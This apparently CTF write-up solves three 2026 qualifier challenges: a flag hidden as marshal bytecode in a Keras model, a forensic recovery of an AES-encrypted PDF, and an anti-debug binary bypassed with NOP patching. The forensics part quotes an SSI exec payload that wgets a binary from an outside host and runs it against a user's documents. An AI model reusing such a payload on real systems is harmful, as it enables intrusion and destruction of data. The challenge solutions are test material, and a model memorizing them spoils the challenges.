HIB CHB Quals 2026 - AI, Forensics & Reverse Engineering Solutions

1. Challenge Summary

2. AI: .h5 (1,000 pts)

Description

An abandoned packet-classification model hides more than weights. Download spectral oracle.h5 and recover the flag from serialized function data. You do not need to execute the model.

Analysis & Solution

Inspecting oracle.h5 with H5Web reveals a custom Lambda layer named latent_manifest inside the model configuration containing base64-encoded Python marshal bytecode:

import base64
import marshal
import dis

b64_str = "4wIAAAAAAAAAAAAAAAgAAAADAAAB85IAAACHA5cAZAF..."
code = marshal.loads(base64.b64decode(b64_str))
dis.dis(code)

Decompiling the bytecode reveals constant tuples residue (39 bytes) and wheel = (67, 33, 167, 92) with an indexed XOR decryption algorithm:

char[i] = residue[i] ^ wheel[i % 4] ^ ((i * 19 + 11) & 255)

Solver Script

residue = (
    0, 118, 212, 91, 92, 9, 232, 250, 155, 250, 90, 242, 153,
    75, 134, 24, 75, 11, 153, 68, 240, 214, 104, 248, 164, 152,
    110, 101, 100, 112, 214, 97, 24, 60, 6, 200, 195, 219, 7
)
wheel = (67, 33, 167, 92)

flag = []
for i, n in enumerate(residue):
    w = wheel[i % len(wheel)]
    decoded_char = chr(n ^ w ^ ((i * 19 + 11) & 255))
    flag.append(decoded_char)

print("[+] Decrypted Flag:", "".join(flag))

3. Forensics: The Cure (864 pts)

Analysis & Solution

Given an EnCase image image.E01 (1.81 GB). Analyzing filesystem artifacts in Autopsy:

1. Located encrypted file flag.pdf.enc under /home/kiiro/Documents/ created at 2026-07-14 03:39:35 WIB.
2. Investigating Web Server access logs and Server-Side Includes (SSI) at /var/www/30/pwn.shtml executed at the exact timestamp:

<!--#exec "wget -O /tmp/poison http://192.168.1.5:9000/poison; chmod +x /tmp/poison; /tmp/poison 45fda028267659abcc7a412ef66d219035d368a5a76ab99747b04a5246481bce /home/kiiro/Documents/; echo 'done'"-->

3. The malware /tmp/poison performs AES-256-CBC encryption using the argument key 45fda028267659abcc7a412ef66d219035d368a5a76ab99747b04a5246481bce where the first 16 bytes of flag.pdf.enc serve as the IV.

Solver Script

from Crypto.Cipher import AES
import binascii

key_hex = "45fda028267659abcc7a412ef66d219035d368a5a76ab99747b04a5246481bce"
key = binascii.unhexlify(key_hex)

with open('flag.pdf.enc', 'rb') as f:
    encrypted_data = f.read()

iv = encrypted_data[:16]
ciphertext = encrypted_data[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_data = cipher.decrypt(ciphertext)
padding_length = decrypted_data[-1]
if padding_length <= 16:
    decrypted_data = decrypted_data[:-padding_length]

with open('flag.pdf', 'wb') as f:
    f.write(decrypted_data)

print("[+] Decryption complete! Flag extracted from PDF text stream.")

4. Reverse: peekaboo (1,000 pts)

Analysis & Solution

1. The ELF binary runs a parent-child architecture using fork() and bi-directional pipes for IPC.
2. The child process inspects parent tracing and responds with byte 'K' under unmonitored conditions.
3. However, execution hangs in sync_barrier() -> barrier_tick() which calls poll() with a delay of 0x7530 ms (30 seconds per iteration) across 37 iterations.
4. Binary Patch: By replacing the 5-byte CALL sync_barrier instruction in the binary with 5 NOP (0x90) instructions, the execution immediately flows into unwrap_flag(), printing the decrypted flag without delays.